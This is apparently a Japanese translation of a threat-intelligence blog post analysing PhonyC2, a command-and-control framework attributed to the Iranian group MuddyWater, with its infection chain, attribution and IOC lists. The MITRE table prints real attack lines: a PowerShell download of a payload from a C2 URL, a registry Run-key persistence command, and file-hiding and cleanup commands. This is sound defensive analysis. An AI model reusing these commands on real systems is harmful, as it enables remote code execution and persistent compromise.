PhonyC2: MuddyWaterによる新たな悪意あるコマンド&コントロール・フレームワークを暴く
Mango Sandstorm(Mercury)としても知られるMuddyWater は、イラン情報保安省(MOIS)の下部組織 であるサイバースパイグループです。
要旨
- Deep Instinctの脅威リサーチチームは、新たなC2(コマンド&コントロール)フレームワークを特定
- この C2 フレームワークはカスタムメイドで、継続的に開発されており、少なくとも 2021 年以降 MuddyWaterグループによって使用されている
- このフレームワークはPhonyCと名付けられ、テクニオンの攻撃に使用された
- PhonyC2は現在、MuddyWaterによる活発なPaperCut悪用キャンペーンで使用されている
- PhonyC2 は、MuddyWaterによって作成された以前のC2フレームワークであるMuddyC3に似ている
MuddyWaterはPhonyC2フレームワークを継続的に更新し、検出を回避するためにTTPを変更していることが、このブログやPhonyC2の流出したコードの調査を通じて確認できます。MuddyWater は、完全にパッチが適用されたシステムを感染させることができるように、ソーシャル・エンジニアリングを最初のアクセスポイントとして使用しています。組織は、システムの堅牢化とPowerShellの活動の監視を継続する必要があります。
背景
2023年4月、Deep Instinctの脅威リサーチチームは、PhonyC2_v6.zipというアーカイブの一部である3つの悪意のあるPowerShellスクリプトを特定しました。
注: V6は、サーバ上で見つかったフォルダの名前です。これは公式のC2フレームワークではないため、変更履歴やバージョン履歴はありません。フレームワークは時間の経過とともに変更されていますが、内部のバージョン番号はわかりません。そのため、バージョン番号ではなく一意の識別子で他のバージョンを参照しています。
このファイル名に我々は興味をもったため、それが既知のC2フレームワークであるかどうかを調べることにしました。簡単な調査の後、C2フレームワークは Sicehice によってオープン・ディレクトリ・リストのサーバーで発見されたことが明らかになりました。
注:Sicehiceは、30以上のソースからのサイバー脅威インテリジェンスの収集を自動化し、ユーザーが収集したIPに対して検索できるようにする組織です。
PhonyC2に関する前情報はなく、ZIPファイルにはソースコードが含まれていたため、このC2フレームワークをさらに理解するためにコードを分析することにしました。
最初の調査で、C2をホストしていたサーバーが、MuddyWater がテクニオンに対する攻撃で使用したインフラに関連していることが判明しました。
さらに調査を進めると、現在進行中のPaperCutの悪用や、C2フレームワークの以前のバージョンを使用した以前の攻撃など、MuddyWaterのインフラストラクチャとのさらなるつながりが明らかになりました。
公開されたサーバーの分析
PhonyC2のzipファイルに加え、Sicehiceはサーバー上で発見された追加ファイルをアップロードしました。その中には、脅威行為者がサーバー上で実行したコマンドを明らかにする ".bash_history" ファイルも含まれていました:
図1では、MuddyWaterが使用していることが知られているもう1つのツールである "Ligolo" の存在が確認されました。
図2では、PhonyC2に関連するコマンドが赤でマークされています。
図2および図3において、青で示されているのは、脅威行為者が使用した追加のIPアドレスです。この2つのアドレスは、マイクロソフトが発表した、MuddyWaterの仕業とされるテクニオン攻撃の調査結果に関する報告書の中で、C2サーバーとして言及されています。
FRP は複数のイランの脅威グループによって使用されていることが知られており、ChiselはMuddyWaterによってのみ使用されていることが知られていますが、これは絶対に他で使われないことを意味するものではありません。
さらに、図3では、MuddyWaterが使用していることがこれまで報告されていない “bore” という名前の別のトンネリングツールを見ることができます。
サーバー上にMuddyWaterの既知のツールが存在することと、脅威アクターがMuddyWaterによって使用されていることが知られている2つのIPアドレスと通信しているという事実の組み合わせにより、PhonyC2がMuddyWaterによって使用されているフレームワークである疑いが浮上しました。
より詳しく見る:コード解析
Phony C2フレームワークをよりよく理解するために、ソースコードを見てみましょう。上の図2にあるように、最初のファイルは "Please_Run_Once.py:" です。
このスクリプトは、図4の5行目にあるように、IPアドレス、C2フレームワークが接続をリッスンするポート、デコイ用の拡張子を指定する必要がある独自の設定ファイルを作成します。さらに、スクリプトはconfig.pyファイルにランダムなUUID(Universal Unique Identifiers)を追加し、C2フレームワークのURLの追跡をより簡単にします:
図6では、configファイルは様々なPowerShellコマンドを含んでおり、これらはフレームワークによって使用される異なるペイロードです。
main.pyファイルは小さく、マルチスレッドのWebサーバとコマンドラインリスナーを起動します。このコードから、"PhonyC2 "という名前が内部的に使用されていることがわかります:
webserver.pyはC2フレームワークのペイロードを提供する役割を担っています:
図8は、config.pyファイルのランダムなUUID(図5の13行目から20行目)に置き換えられた、コメントアウトされたルート名の中にある、フレームワークの以前の反復の名残を示しています。
commandline.pyは、オペレータからコマンドを受け取り、C2によって実行された様々なアクションの出力を表示します:
図9と図5は、"“C:\programdata\db.sqlite” レポートに同じ名前とパスで記載されています。
マイクロソフト社の報告書にある悪質なファイルは一般には閲覧できませんが、マイクロソフト社の報告書に登場するPhonyC2に関連するIPアドレスとこれらのファイル名の組み合わせは、テクニオンへの攻撃にPhony C2フレームワークが使用されたことを強く裏付けるものです。さらに、C2フレームワークによって作成されたファイルは "PowerShell/Downloader.SB" として検出されており、これはマイクロソフトがブログで使用したのと同じ検出名です。
両ファイルはC2フレームワークによって動的に生成されるため、フレームワークの実行ごとにわずかに異なります。したがって、マイクロソフトが提供したハッシュをブロックするだけでは十分ではありません。
仕組み
多くのオプションや出力があるように見えるかもしれませんがが、C2が何をするコードなのかを理解すれば、実はシンプルです。
このC2は、様々なペイロードを生成してC2に接続し、「侵入キルチェーン」の最後のステップを実行するためにオペレーターからの指示を待つために使用されるポストエクスプロイトフレームワークです。
"payload” コマンド:
図 11 に、何が起こるかをステップ・バイ・ステップで説明する:
- PowerShellコマンドがC2に対してhttpリクエストを作成し、エンコードされたファイルを受信して、 “c:\programdata\db.sqlite”として保存
PowerShellコマンドは、base64デコードされたコンテンツを “c:\programdata\db.ps1” に書き込む
PowerShellコマンドはdb.ps1を実行し、db.sqliteを読み込んでデコードし、結果をメモリ内で実行
基本的に、これは侵害されたホスト上で実行するワンライナーであり、C2にビーコンバックします。
デコードルーチンの例
前述のように、C2が生成するファイルは毎回若干異なりますが、デコードのロジックはほとんど同じです。
以下はdb.sqliteコンテンツの例と、デコードルーチンを説明する図です:
“dropper” コマンド:このコマンドは、ステップ(1)のためにのみPowerShellコマンドの異なるバリエーションを作成します。
“Ex3cut3” コマンド:
このコマンドは、ステップ(2)と(3)を組み合わせたPowerShellコマンドの異なるバリエーションを作成します:
"list” コマンド:listコマンドは、C2に接続されているすべてのコンピュータを関連情報とともに表示します:
"setcommandforall” コマンド:
このコマンドは最も重要なもので、攻撃者は接続されているすべてのコンピュータ上で同じコマンドを同時に実行することができます。例えば、ランサムウェアのペイロードをダウンロードして実行するコマンドなどです。
"use” コマンド:このコマンドにより、攻撃者は特定のコンピュータ上でPowerShellシェルを取得することができます:
“use” コマンドが選択されると、追加コマンドが利用可能になります:
"persist” とその他のコマンド:
これらの追加コマンドのほとんどは説明不要だが、唯一興味深いのは "persist" です。
“persist” コマンドは、感染したホストが再起動された場合にC2に再び接続できるように、操作者が感染したホスト上で永続性を獲得できるようにするためのPowerShellコードを生成するために使用されます。
さらに、操作者が "persist "コマンドを実行すると、暗号化されたペイロードが "HKLMSoftware "内の事前に定義されたランダムなレジストリパスに書き込まれます。これは、値の一部がconfig.pyに格納されているため、commandline.py(図22)で部分的に見ることができます。
暗号化されたペイロードは、調査全体のトリガーとなった "persist_payload_2022.ps1 "を少し修正したものです。
以下は、PhonyC2による永続化を実現するために使用される完全なチェーンです:
PhonyC2されたマシンで “persist” を実行することで、C2は暗号化されたペイロードをレジストリに書き込む
Windowsのレジストリにレジストリキーを追加し、起動時にC:\intel\utils\にある utils.jse という名前のスクリプトファイルを実行
ディレクトリが存在しない場合は、 c:\intel\utils\ ディレクトリを作成
カレントディレクトリを c:\intel\utils\に変更
base64 blob をデコードして utils.jse に書き込む
- HKLM:\\SOFTWARE\\<random> (iCXqExISMHV) に、以下のような内容のランダムな名前 (fmoopWgmBla) のレジストリキーを作成
コンピュータが再起動されると、runキーによって utils.jse スクリプトが実行
The utils.jse スクリプトは図23 のようにレジストリから内容を読み込んで実行
図25のPowerShell コードは、 C&C サーバーに接続し、以下のようなコードを受信して実行:
- base64 で暗号化されたスクリプトは、レジストリから別のペイロードを読み取り、複合化している。このペイロードは “persist_payload_2022.ps1.”
感染フロー
属性
現在のバージョンのPhonyC2はPython3で書かれています。Python2で書かれた以前のMuddyWaterカスタムC2フレームワークである MuddyC3と構造的にも機能的にも似ています。
PhonyC2のソースコードを調査して得た知識から、PhonyC2はMuddyC3と POWERSTATS の後継であると考えられます。
私たちは、PhonyC2が最初に使用された時期を特定するためにMuddyWaterの過去の侵入を調査し、2021年11月29日にIPアドレス 87.236.212[.]22 がPython2で書かれたPhony C2の初期の亜種と思われる難読化された ペイロード で応答していることを発見しました。 その証拠に、攻撃者がPython3で動作するようにスクリプトのコード変更を要求するコメントを図4に残しているのを見ることができます。
難読化されたペイロードは "data.sqlite" という名前のファイルに保存されており、これはPhonyC2で使用されているファイル名と驚くほど似ています。さらに、難読化されたペイロードには、現在のPhonyC2のペイロードにあるものと同じカンマ区切りのデリミタがあり、デコードルーチンは最新のものとは異なっています。
図6と図8では、"apiy7" という文字列がコード内でコメントアウトされています。この文字列を含む2022年3月のURLの 投稿 を見つけましたが、これはPhonyC2サーバーで、このブログで説明されている現在のV6よりも以前のバージョンであったことを意味しています。
このURLのIPアドレスは137.74.131[.]30です。Group-IBの 報告書 には、"ETag 2aa6-5c939a3a79153" と記載されています。
178.32.30[.]3は、"apiy7" 文字列と "ETag 2aa6-5c939a3a79153" の両方を持つ別のIPアドレスです。このIPアドレスは、3月に公開されたMuddyWaterの活動を詳述するTalosの ブログ でも言及されています。しかし、この活動がPhonyC2に関連しているかどうかは確認できません。このサーバーでPhonyC2を最初に確認したのは、 8月の のURLスキャンで、"apiy7" という文字列が含まれていました。同じIPアドレスで8月にも スキャンが行われ 、カスタムエラーメッセージが表示され、追加 C2サーバーが確認されました。これらの追加サーバーから、2022年3月から2022年5月にかけて、"apiy7" PhonyC2バージョンよりも前の "apiv4" という文字列を持つ 追加の PhonyC2サーバーを見つけることができました。
IPアドレス91.121.240[.]104は、"apiy7" 文字列と "ETag 2aa6-5c939a3a79153" の両方を含んでいました。このIPアドレスは、イスラエルのSysAidソフトウェアのlog4jの脆弱性を悪用するためにMuddyWaterによって使用されたIPアドレスであることがマイクロソフトによって確認されており 、PhonyC2がこれらの攻撃にも使用されたことが確認されました。
調査中、異なるETag値を持つ、あるいはETagを全く持たないPhonyC2サーバーを発見しました。同じETag値を持つサーバーの出現は、VPSプロバイダーによるサーバーイメージの複製に起因するものと思われます。従って、この方法は有効な場合もあるかもしれませんが、過去との参照目的で利用されることがほとんどでしょう。
「サーバー分析」のセクションで述べたように、図2と図3には2つのIPアドレスがあります。194.61.121[.]86と45.86.230[.]20で、テクニオンのハッキングに使用されたMuddyWaterのC2サーバーであることがマイクロソフトによって確認されています。45.86.230[.]20がPhonyC2を実行していたかどうかは確認できませんが、マイクロソフトのレポートに記載されている 46.249.35[.]243 と 194.61.121[.]86の両方が、Pythonのソースコードに見られるURLパターンに基づいてPhonyC2 V6をホストしていました。
MuddyWaterの活動で観察されたもう1つの興味深い共通点は、“core” の使用です。MuddyC3には "core" というディレクトリがあり、PhonyC2には "isnotcore" というディレクトリがあります。"core" もコード中で何度か参照されている(図4-8参照)。我々の分析によると、PowGoop C2サーバーは "Core?Token=" というURL パターン を持っていました。私たちは、PowGoopを実行しているサーバーの1つ、164.132.237[.]79がまだMuddyWaterによって制御されている可能性があると疑っています。このIPは現在MuddyWaterが使用することが知られているMetasploitサーバーを実行しています。
このIPのパッシブDNS解決は、ドメイン6nc110821hdb[.]co.を示しています。このドメインは、他の2つのPowGoopサーバーにも解決されていました:
51.255.19[.]178と51.255.19[.]179は、 Group-IBによるとSimpleHelpをホストしていました。Group-IBはまた、164.132.237.64/28サブネットからの多くのIPをSimpleHelpサーバーとしてリストアップしており、164.132.237[.]79がMuddyWaterの活動と何らかの関係があることは明らかです。6nc110821hdb[.]coドメイン名はかなり怪しく、さらに調査した結果、興味深いパターンが見つかりました:
<3文字><1桁>[dot]6nc<date><optional 2文字><optional incremented letter>[dot]co
我々は、パッシブDNS解決でアクティブなホストをまだ持っている以下のドメイン名を検出しました。
6nc051221a[.]co
6nc051221c[.]co
6nc110821hdb[.]co
6nc060821[.]co
6nc220721[.]co
これらのドメインは、MuddyWaterによって2021年に登録され、現在も有効なインフラストラクチャを表していると思われます。
6nc051221b[.]coや6nc110821hda[.]coなど、アクティブなインフラが見つからなかったドメインもあります。過去には、後者は既知のMuddyWaterインフラに解決していた。"6nc "は、"Command and Control "の略語であるC&C(Six and C)と解釈できます。
2023年5月初め、マイクロソフトはツイッター 投稿 で、MuddyWaterがプリント管理ソフトウェアPaperCutのCVE-2023-27350を悪用しているのを観測したと述べました。彼らは新しい指標を共有しませんでしたが、MuddyWaterが「C2インフラに接続するために以前の侵入のツールを使用している」と指摘し、テクニオンのハッキングに関する彼らのブログを参照しました。ほぼ同時期に、SophosはPaperCutによる様々な侵入から得られた 指標 を公表していました。Deep Instinctは、URLパターンに基づいて、これらの侵入から2つのIPアドレスがPhonyC2サーバーであることを発見しました。
このIPアドレスはまた、様々なペイロードをホストしていた。そのほとんどを取得することはできませんでしたが、Censysのサーバーのディレクトリ一覧をキャプチャすることができました。
eh.msi という名前のファイルが VirusTotal にアップロードされました。このファイルはeHorusリモートアクセスツールのインストーラーです。全く同じファイルが、MuddyWaterと重複する活動群で使用されているとして、Mandiantも言及しています 。さらに、MuddyWaterによるeHorusソフトウェアの使用は、Microsoft と Symantecによって観測されています。
このPhonyC2の例では、MuddyWaterは通常DNS用に予約されているポート53をサーバーに使用することにしました。これは、MuddyWaterがTTPを変更し、悪意のある活動を隠蔽しようとする別の試みを示しています。
これは、PhonyC2がMuddyWaterの活動に関するマイクロソフトの報告と交差する3度目の重複でもあります。
今後の展望
MuddyWaterは、ブログ全体やPhonyC2のリークされたコードの調査に見られるように、C2を継続的に更新し、検出を回避するためにTTPを変更しています。
Deep Instinctはすでに、IP 195.20.17[.]44のURL スキャンで流出したV6よりも新しいコードバージョンを使用しているPhonyC2の疑いのあるインスタンスを観測しています:
赤で示されたURLの部分はPhonyC2 V6から変更され、UUIDの使用が変更され、拡張子 "go " が追加されました。緑で表示されているURLの2番目の部分は、V6のコードから変更されていません。
この スキャン のレスポンスは以下のペイロードです。
エンコードされたペイロード(緑色)はV6で見たものと似ていますが、MuddyWatterは活動をさらに隠すために良性のHTMLコード(赤色)を追加しました。PhonyC2 V6では、サーバーのレスポンスはHTMLを含まないエンコードされたペイロードのみでした。さらに、サーバーのIPアドレス195.20.17[.]44の場所はイスラエルにあり、この場所はイスラエルの組織に対する標的型攻撃でネットワーク・トラフィックを隠すために意図的に選ばれたものと思われます。
この新しいPhonyC2サーバーのサブネット195.20.17.0/24を調べている間、サイバー犯罪に関連する多くのIPアドレスを観察しました。しかし、IPアドレス195.20.17[.]183の1つには、am1211.iransos[.]meというパッシブDNS レスポンス がありました。このIPアドレスがMuddyWaterに関連していることを確認することはできませんが、サブネット全体がMuddyWaterによって使用されているイランのVPSプロバイダーにリースされている疑いがあります。
PhonyC2とIOCのソースコードはGitHub ページにあります。
MITRE:
タクティクス | Technique | 概要 | オブザーバブル |
---|---|---|---|
コマンド&コントロール | T1071.001 アプリケーション・レイヤー・プロトコル ウェブプロトコル | Phony C2は、HTTPを使って難読化されたペイロードをダウンロード | http://46.249.35[.]243:443/9b22685e-f173-4feb-95a4-c63daaf40c58.html?X9GFTRD6OZE=X9GFTRD6OZ |
132.002 データ符号化: 非標準エンコーディング | Phony C2 ペイロードはカスタムエンコーディングを使用して難読化 | ,15555554155555554,14((1414,1554(14(,1554(14(,15415554,1554(14(,1414(,154((154,154154((,1554(154,1414(,14(14((,14((((14,154(14((,154(14((,1554(14(,154(1414,1554(154,1554(154,14(((((,1555414,14(((((,14((14(,15414(((,155414((,155414((,1554((((,155414(,1415554,1415554,154((14,1541554,154(14(,141554(,154((14,154154(,141554(,154((14,154154(,154(14(,141554(,154((14,155414(, | |
T1105 Ingress Tool Transfer | Phony C2 には、C2サーバーからペイロードをダウンロードする機能がある | http://46.249.35[.]243:443/9b22685e-f173-4feb-95a4-c63daaf40c58.html?X9GFTRD6OZE=X9GFTRD6OZ | |
永続性 | T1547.001 ブートまたはログオン時の自動起動実行: レジストリの実行キー/スタートアップフォルダ | Phony C2 には、永続性メカニズムを追加する機能がある | reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v NEW /d C:\intel\utils\utils.jse /f |
エグゼキューション | T1059.001 コマンドとスクリプトのインタープリター: PowerShell | Phony C2 はPowerShellによって実行され、PowerShellコマンドを実行 | powershell Start-Job -ScriptBlock {Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://172.16.162.1:1337/562a2ffe-a45a-4318-864b-5942fbd0a859.aspx?LY6EDE1KTNE=LY6EDE1KTNE -OutFile $input } -InputObject "c:\programdata\db.sqlite";sleep 6 |
防御回避 | T1564.001 アーティファクトを隠す: 隠しファイルと隠しディレクトリ | Phony C2 が C:\ProgramData のファイルに隠し属性を設定 | attrib +h c:\programdata\db.sqlite |
T1564.003 アーティファクトを隠す 隠された窓 | PowerShell PowerShellウィンドウを隠すためにPhonyC2が実行 | powershell -EP BYPASS -NoP -W 1 | |
T1070.004 インジケータの削除: ファイル削除 | Phony C2 実行後にファイルを削除 | rm c:\programdata\db.sqlite ; rm c:\programdata\db.ps1 | |
T1112 レジストリの変更 | PhonyC2 はレジストリエントリを作成し、永続性を実現 | New-ItemProperty -Path "HKLM:SOFTWARE\iCXqExISMHV" -Name "fmoopWgmBla" -Value '$p_id =…' | |
IOC:
IPアドレス | 概要 |
---|---|
45.159.248[.]244 | PhonyC2 V6 (PaperCut) |
91.121.240[.]104 | "apiy7" PhonyC2 with ETag 2aa6-5c939a3a79153 (log4j) |
195.20.17[.]44 | PhonyC2 V7の疑い |
45.86.230[.]20 | MuddyWater infrastructure related to PhonyC2 activity (DarkBit Technion) |
137.74.131[.]30 | "apiy7" PhonyC2 with ETag 2aa6-5c939a3a79153 |
178.32.30[.]3 | "apiy7" PhonyC2 |
137.74.131[.]24 | "apiv4" and/or "apiy7" PhonyC2 with ETag 2aa6-5c939a3a79153 |
46.249.35[.]243 | PhonyC2 V6 (DarkBit Technion) |
185.254.37[.]173 | PhonyC2 V6 (PaperCut) |
194.61.121[.]86 | PhonyC2 V6 (DarkBit Technion) |
87.236.212[.]22 | PhonyC2の最初のバージョンと思われるもの |
91.235.234[.]130 | PhonyC2 V6.zip |
157.90.153[.]60 | "apiv4" PhonyC2 |
157.90.152[.]26 | "apiv4" PhonyC2 |
65.21.183[.]238 | "apiv4" PhonyC2 |
45.132.75[.]101 | Muddy Waterのインフラが疑われる (edc1.6nc051221c[.]co) |
51.255.19[.]178 | Muddy Waterのインフラが疑われる (pru2.6nc110821hdb[.]co) |
103.73.65[.]129 | Muddy Waterのインフラが疑われる (nno1.6nc060821[.]co) |
103.73.65[.]225 | Muddy Waterのインフラが疑われる (nno3.6nc060821[.]co) |
103.73.65[.]244 | Muddy Waterのインフラが疑われる (kwd1.6nc220721[.]co) |
103.73.65[.]246 | Muddy Waterのインフラが疑われる (kwd2.6nc220721[.]co) |
103.73.65[.]253 | Muddy Waterのインフラが疑われる (kwd3.6nc220721[.]co) |
137.74.131[.]16 | Muddy Waterのインフラが疑われる (qjk1.6nc051221c[.]co) |
137.74.131[.]18 | Muddy Waterのインフラが疑われる (qjk2.6nc051221c[.]co) |
137.74.131[.]25 | Muddy Waterのインフラが疑われる (qjk3.6nc051221c[.]co) |
164.132.237[.]67 | Muddy Waterのインフラが疑われる(tes2.6nc051221a[.]co) |
164.132.237[.]79 | Muddy Waterのインフラが疑われる(pru1.6nc110821hdb[.]co) |
フレームワークによって生成されたファイルのサンプル(これらは完全なものではありません):
SHA256 | Description |
---|---|
7cb0cc6800772e240a12d1b87f9b7561412f44f01f6bb38829e84acbc8353b9c | db.ps1 |
5ca26988b37e8998e803a95e4e7e3102fed16e99353d040a5b22aa7e07438fea | db.sqlite |
1c95496da95ccb39d73dbbdf9088b57347f2c91cf79271ed4fe1e5da3e0e542a | utils.jse |
2f14ce9e4e8b1808393ad090289b5fa287269a878bbb406b6930a6c575d1f736 | db.ps1 |
b4b3c3ee293046e2f670026a253dc39e863037b9474774ead6757fe27b0b63c1 | db.sqlite |
b38d036bbe2d902724db04123c87aeea663c8ac4c877145ce8610618d8e6571f | utils.jse |